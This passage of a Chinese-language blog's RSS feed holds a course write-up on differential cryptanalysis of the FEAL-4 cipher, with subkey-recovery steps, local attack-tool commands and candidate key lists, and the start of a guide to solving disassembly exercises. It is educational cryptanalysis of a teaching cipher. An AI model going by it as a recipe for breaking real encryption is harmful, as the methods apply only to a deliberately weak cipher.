<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>网络安全 on Nansen Li's Blog
李楠森的博客</title><link>https://nansenli.com/zh-cn/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/</link><description>Recent content in 网络安全 on Nansen Li's Blog
李楠森的博客</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><copyright>Nansen Li 🌈 （李楠森）</copyright><lastBuildDate>Wed, 01 Jan 2025 13:15:04 +0000</lastBuildDate><atom:link href="https://nansenli.com/zh-cn/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml"/><item><title>差分攻击 FEAL-4：从原理到实现</title><link>https://nansenli.com/zh-cn/post/2025/01/feal-4/</link><pubDate>Wed, 01 Jan 2025 13:15:04 +0000</pubDate><guid>https://nansenli.com/zh-cn/post/2025/01/feal-4/</guid><description>&lt;blockquote>
&lt;p>本文是基于DCU课程，网络安全课程的学习，请勿用于其他场合。&lt;/p>
&lt;/blockquote>
&lt;p>这篇文章主要介绍了如何对传统分组密码算法 FEAL-4 进行差分分析（Differential Cryptanalysis），并展示了攻击进程和关键实现细节。文中还包含了部分实验数据和攻击结果，可供有兴趣的读者参考或复现。&lt;/p>
&lt;hr>
&lt;h2 id="两张重要图片">两张重要图片
&lt;/h2>&lt;p>在正式展开分析之前，先给出两张与 FEAL-4 密切相关的图片，方便对差分传播和整体加密流程有一个直观认识。&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;strong>差分传播示意图&lt;/strong>&lt;br>
下图展示了在 FEAL-4 中，明文差分（XOR 形式）如何在加密轮次中传播并最终反映到密文上。&lt;/p>
&lt;p>&lt;img src="https://nansenli.com/img/rescued/d9f08a73ad65.png"
loading="lazy"
>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>FEAL-4 工作流示意图&lt;/strong>&lt;br>
下图是 FEAL-4 的整体加密框架示意，包括明文的左右分块、各轮子密钥注入以及 F 函数的运用流程。&lt;/p>
&lt;p>&lt;img src="https://nansenli.com/img/rescued/73e0b1400fd1.png"
loading="lazy"
>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="f-函数的特性">F 函数的特性
&lt;/h2>&lt;p>FEAL-4 的轮函数（即 F 函数）可以视作对 32 位输入进行某种随机化排列（Permutation）。在差分分析中，我们并不需要 F 的具体实现，而更关注它的两个关键差分属性：&lt;/p>
&lt;ul>
&lt;li>若 $X \oplus Y = 0$，则 $F(X) = F(Y)$。&lt;/li>
&lt;li>若 $X \oplus Y = 0x80800000$，则 $F(X) \oplus F(Y) = 0x02000000$。&lt;/li>
&lt;/ul>
&lt;p>有了这两个结论，在后续分析时就能推断特定差分输入下的输出表现，从而帮助定位子密钥。&lt;/p>
&lt;hr>
&lt;h2 id="差分路径的详细分析">差分路径的详细分析
&lt;/h2>&lt;p>假设我们选择一对特殊的明文 $P_0$ 和 $P_1$，满足：
$$
P_0 \oplus P_1 = 0x8080000080800000 = P^{\prime}.
$$
这个特定差分向量有助于简化 FEAL-4 若干轮次输出中的差分计算。&lt;/p>
&lt;h3 id="1-初始轮次差分推导">1. 初始轮次差分推导
&lt;/h3>&lt;ul>
&lt;li>
&lt;p>令 $(L0_0, R0_0)$ 表示 $P_0$ 的左右分块（同理 $(L0_1, R0_1)$ 表示 $P_1$ 的左右分块）。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>经过第一轮的异或操作后：
$$
L1_0 \oplus L1_1 = (L0_0 \oplus K4) \oplus (L0_1 \oplus K4)
= L0_0 \oplus L1_0
= 0x80800000.
$$
同理可推出右半部分的差分。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>进一步由于加密时存在 “额外一轮 XOR”，可得到：
$$
R2_0 \oplus R2_1
= (R1_0 \oplus L1_0) \oplus (R1_1 \oplus L1_1)
= 0x80800000 \oplus 0x80800000
= 0.
$$
这意味着在后续计算中，差分会以更简单的形式得以归并。&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="2-后向差分计算backward-calculation">2. 后向差分计算（Backward Calculation）
&lt;/h3>&lt;p>当我们获得明文对 $(P_0, P_1)$ 与对应的密文对 $(C_0, C_1)$ 后，可以进一步进行后向推导。令密文记作 $(L, R)$，则：&lt;/p>
&lt;ul>
&lt;li>计算出 $C^{\prime} = C_0 \oplus C_1$，得到 $(L^{\prime}, R^{\prime})$。&lt;/li>
&lt;li>根据已知差分性质，可在末轮逐步还原 $X^{\prime}$、$Y^{\prime}$、$Z^{\prime}$ 等中间变量。&lt;/li>
&lt;li>利用这些结果便可对各子密钥展开攻击或验证。&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="攻击-k3">攻击 K3
&lt;/h2>&lt;p>在差分分析中，往往先从某个中间轮次子密钥开始，例如 $K_3$。具体步骤如下：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>选取明文对：&lt;/strong> 我生成了 12 对满足&lt;br>
$$
P_0 \oplus P_1 = 0x8080000080800000
$$&lt;br>
的随机明文。&lt;/li>
&lt;li>&lt;strong>加密并提取差分：&lt;/strong> 将上述明文对加密后，得到相应的密文对；结合差分路径推导出 $Y_0$、$Y_1$、$Z^{\prime}$ 等中间值。&lt;/li>
&lt;li>&lt;strong>遍历 $K_3$：&lt;/strong>&lt;br>
$$
Z^{\prime} = Z_0 \oplus Z_1 = F(Y_0 \oplus K_3) \oplus F(Y_1 \oplus K_3).
$$&lt;br>
只要找到满足差分方程 $= 0x02000000$ 的候选即保留。&lt;/li>
&lt;/ol>
&lt;p>通过这种方法，我成功得到四个候选子密钥：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">cfa38976, cfa309f6, 4f238976, 4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>执行以上过程的命令示例为：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk3 -file=K3.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>该实现与我在 &lt;a class="link" href="https://www.theamazingking.com" target="_blank" rel="noopener"
>www.theamazingking.com&lt;/a> 上介绍的方法一致。&lt;/p>
&lt;hr>
&lt;h2 id="攻击-k2">攻击 K2
&lt;/h2>&lt;p>在拿到 $K_3$ 的若干候选后，可以继续推算 $K_2$。其核心方程：
$$
X&amp;rsquo; = X_0 \oplus X_1
= F(U_0 \oplus K_2) \oplus F(U_1 \oplus K_2),
$$
其中 $U$ 来自于上一轮运算（包括对 $Y$、$Z$ 等的进一步计算）。同样地：&lt;/p>
&lt;ol>
&lt;li>生成明文对，满足差分条件
$$
P_0 \oplus P_1 = 0x0000000080800000.
$$&lt;/li>
&lt;li>抓取加密后密文差分，通过遍历所有可能 $K_2$ 值，检查是否能满足差分约束 $=0x02000000$。&lt;/li>
&lt;li>命令示例：
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk2 -file=K2.txt -k3=cfa38976,cfa309f6,4f238976,4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>最终输出示例如下所示：
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Candidate K2: 8b722e41 (K3: cfa38976)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 8b72aec1 (K3: cfa38976)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 89722e43 (K3: 4f2309f6)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Candidate K2: 8972aec3 (K3: 4f2309f6)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="攻击-k1">攻击 K1
&lt;/h2>&lt;p>类似地，攻击 $K_1$ 也可以按前面流程来做。&lt;br>
为了让差分路径能稳定呈现预期结果，我生成了 12 对满足&lt;br>
$$
P_0 \oplus P_1 = 0x0000000002000000
$$&lt;br>
的明文，并验证其加密输出。&lt;/p>
&lt;p>命令示例：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk1 -file=K1.txt -k3k2=&amp;#34;cfa38976,8b722e41; cfa38976,8b72aec1; ...&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>可一次性将前面得到的所有 $K_3, K_2$ 候选组合带入，最终找到对应的 $K_1$ 候选。&lt;/p>
&lt;hr>
&lt;h2 id="攻击-k0-k4-k5">攻击 K0, K4, K5
&lt;/h2>&lt;p>当 $K_3, K_2, K_1$ 全部到手后，就可以反推最后一轮所需的 $K_0, K_4, K_5$。&lt;br>
设最终加密得到的左、右部分为 $L_0, R_0$。对应的明文分块为 $PL, PR$。则有：&lt;/p>
&lt;ul>
&lt;li>$PL \oplus K_4 = LR_0$&lt;/li>
&lt;li>$PR \oplus K_5 = RR_0$&lt;/li>
&lt;li>$RR_0 \oplus LR_0 = R_0$&lt;/li>
&lt;li>$f(R_0 \oplus K_0) \oplus L_0 = LR_0$&lt;/li>
&lt;/ul>
&lt;p>只要枚举所有可能的 $K_0$，即可通过上述方程解出相应的 $K_4$ 与 $K_5$。然后用其他明文-密文对交叉验证正确性。若都满足，则得到正确的最终密钥集。&lt;/p>
&lt;p>命令示例：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./main -mode=attackk0k4k5 -k3k2k1=&amp;#34;...&amp;#34; -file=K1.txt -file2=K1_p.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;hr>
&lt;h2 id="实现优化与验证">实现、优化与验证
&lt;/h2>&lt;h3 id="1-自动化生成与并行计算">1. 自动化生成与并行计算
&lt;/h3>&lt;ul>
&lt;li>&lt;strong>自动生成随机明文对&lt;/strong>：在代码中事先控制 XOR 差分，即可批量输出满足需求的明文文件（如 &lt;code>K3_p.txt&lt;/code>, &lt;code>K2_p.txt&lt;/code>, &lt;code>K1_p.txt&lt;/code>）。&lt;/li>
&lt;li>&lt;strong>并行化搜索&lt;/strong>：使用 Go 语言的 Goroutines，开启 10 个并行任务，在带有 10 核的 Mac 上最大化利用 CPU 资源。&lt;/li>
&lt;li>&lt;strong>进度条与可视化&lt;/strong>：通过 &lt;code>progressbar&lt;/code> 库实时显示搜索进度，让实验过程更直观。&lt;/li>
&lt;/ul>
&lt;h3 id="2-验证方法">2. 验证方法
&lt;/h3>&lt;ul>
&lt;li>
&lt;p>&lt;strong>本地自定义密钥测试&lt;/strong>&lt;br>
先选定一套已知的 $K_0$–$K_5$（如 &lt;code>0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020&lt;/code>），对前面生成的明文对进行加密，并重复差分分析过程，看是否能在结果中匹配这套密钥。&lt;br>
实验证明能够正确还原这组测试密钥，从而确认代码逻辑的准确性。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>特定明文-密文对测试&lt;/strong>&lt;br>
选定一个明文 &lt;code>1234567890abcdef&lt;/code> 和在 Einstein Zone 生成的密文 &lt;code>f43ae3eeb56e2bbf&lt;/code>，验证最终得到的 256 组候选 $K_0$–$K_5$ 中，每一组都可重现这条加密映射，进一步确认攻击流程无误。&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="最终结果">最终结果
&lt;/h2>&lt;p>所有解出的 $K_0$–$K_5$ 存放于 &lt;code>final_result.txt&lt;/code>。去重后包括以下范围：&lt;/p>
&lt;h3 id="possible-values-for-k0">Possible Values for K0
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">890c2148 890ca1c8 098c2148 098ca1c8 ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0b8c214a 0b8ca1ca 8b0c214a 8b0ca1ca
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k1">Possible Values for K1
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">471f077e 471f87fe c79f077e c79f87fc ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">451f077c 451f87fc c59f077c c59f87fc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k2">Possible Values for K2
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">8b722e41 8b72aec1 8b722e43 8b72aec3 ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">89722e43 8972aec3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k3">Possible Values for K3
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">cfa38976 cfa309f6 4f238976 4f2309f6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k4">Possible Values for K4
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">89eb0024 89eb0026 8beb0024 8beb0026
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="possible-values-for-k5">Possible Values for K5
&lt;/h3>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">b85e6bc0 b85e6bc2 ba5e6bc0 ba5e6bc2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>借助差分分析，我们最终能获得一批子密钥候选集。与现代分组密码（AES 等）相比，FEAL-4 的轮数较少、结构也更为简洁，因此在教学和研究中非常适合用于演示差分分析思路。&lt;/p>
&lt;hr>
&lt;h2 id="总结">总结
&lt;/h2>&lt;p>本文详细展示了对 FEAL-4 进行差分攻击的完整流程，包括从差分路径设计、生成明文对、中间子密钥 ($K_3, K_2, K_1$) 攻击，再到最后对 $K_0, K_4, K_5$ 的逆向求解。同时也介绍了代码实现过程中的几处优化和验证方法。&lt;br>
FEAL-4 算法因为较低的轮数和简单的结构为差分分析提供了便利。然而对于现代更安全、更复杂的分组算法，同样的分析思路也至关重要。本案例希望对密码学的学习者和研究者有所启发，如有任何问题或改进方案，欢迎在评论区讨论交流！&lt;/p></description></item><item><title>如何快速解决反汇编问题</title><link>https://nansenli.com/zh-cn/post/2024/11/disassembly/</link><pubDate>Sun, 03 Nov 2024 14:21:43 +0000</pubDate><guid>https://nansenli.com/zh-cn/post/2024/11/disassembly/</guid><description>&lt;blockquote>
&lt;p>本文是基于DCU课程，网络安全课程的学习，请勿用于其他场合。&lt;/p>
&lt;/blockquote>
&lt;p>对于 DCU 安全编程这门课的反汇编，由于题目有一定套路，使用固定的解题思路，可以快速解题&lt;/p>
&lt;h1 id="前置技能">前置技能
&lt;/h1>&lt;ol>
&lt;li>熟悉各种汇编命令 汇编指令&lt;/li>
&lt;li>熟悉 % 和 $ 表示寄存器和立即数 $ 与 % 寄存器与立即数&lt;/li>
&lt;li>熟悉直接寻址和间接寻址 直接寻址与间接寻址&lt;/li>
&lt;li>了解一个case C语言代码到汇编的例子&lt;/li>
&lt;/ol>
&lt;h1 id="解题思路">解题思路
&lt;/h1>&lt;ol>
&lt;li>&lt;a class="link" href="#%e6%89%be%e5%88%b0%e5%85%a5%e5%8f%82%e4%b8%aa%e6%95%b0" >找到入参个数&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#%e6%89%be%e5%88%b0%e5%b1%80%e9%83%a8%e5%8f%98%e9%87%8f%e4%b8%aa%e6%95%b0" >找到局部变量个数&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#%e8%af%86%e5%88%ab%e5%be%aa%e7%8e%af%e4%bd%93" >识别循环体&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#%e8%a7%a3%e6%9e%90%e5%89%a9%e4%bd%99%e4%bb%a3%e7%a0%81%e7%89%87%e6%ae%b5" >解析剩余代码片段&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#%e8%af%86%e5%88%ab%e8%bf%94%e5%9b%9e%e6%95%b0%e6%8d%ae" >识别返回数据&lt;/a>&lt;/li>
&lt;/ol>
&lt;h1 id="找到入参个数">找到入参个数
&lt;/h1>&lt;p>ebp的位置是saved frame ptr，ebp+4的位置是return address。由于题目往往是约定入参全部为int 或者 int * 类型，因此 ebp+8，ebp+c，ebp+10的位置，分别是入参的第一个参数，第二个参数，第三个参数。&lt;/p>
&lt;p>因此，在代码中快速浏览，寻找 0x__(%ebp) 的字样，找到最大的偏移量。&lt;code>(偏移量-4)//4&lt;/code> 的值就是入参的个数。&lt;/p>
&lt;p>例如，下面这段代码&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">push&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sub&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0x8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cmp&lt;/span> &lt;span class="mh">0x10&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jge&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">18&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0xc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">lea&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jmp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
